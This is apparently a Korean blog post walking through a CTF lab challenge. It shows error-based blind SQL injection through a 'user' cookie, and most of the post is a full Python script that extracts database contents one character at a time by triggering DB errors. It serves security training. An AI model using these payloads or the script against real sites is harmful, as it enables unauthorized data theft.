[CTF] SQL Injection Point 4

CHIKA·2024년 6월 12일

📌
SQLi 자동화하기
SQLi Point


로그인하고 마이페이지. cookie user를 먼저 건드려보자

xcvb' 입력

DB에러를 출력한다.

xcvb' and (1=1) and '1'='1 입력

xcvb' and (1=1) and '1'='2 입력

참/거짓 판별은 안되고 DB에러만 구분할 수 있다.
조건이 참이면 에러를, 거짓이면 정상출력되게하자.

먼저 에러를 유발하는 방법중 하나는 select 1 union select 2 이다.

xcvb' and (select 1 union select 2) and '1'='1 입력


Python으로 자동화

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"
success_message = 'DB Error'

def send_request(sql_query):
    cookie = {
              'user' : sql_query,
              'PHPSESSID':'o8on7ohnrki56msd1apvbn0pgm'
              }
   
    response = requests.post(url, cookies=cookie)
    return success_message  in  response.text

'''
sql_query = input("sql을 입력하세요: ")
if send_request(sql_query):
    print("True")
else:
    print("False")   

'''

def Blind_SQLi(sql):
    extract_info = ''
    for i in range(1,101): #최대 100글자 까지 추출
        for j in range(32,127): #ascii 문자 범위
            payload = f" xcvb' and (select 1 union select 2 where (ascii(substr(({sql}),{i},1))={j})) and '1'='1 "
            if send_request(payload):
                extract_info += chr(j)
                break
        else:
            break # 더 이상 글자가 없으면 종료
    return extract_info
    

sql_query = input("SQL 쿼리를 입력하세요: ")

extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")

조건이 참이면 DB Error 메세지가 뜨므로
response.text에 DB Error가 포함되면 True.

공격 format

xcvb' and (select 1 union select 2 where (ascii(substr(({sql}),{i},1))={j})) and '1'='1
where로 조건이 참이면 select 1 union select 2 가 실행되면서 DB Error가 발생한다.

0개의 댓글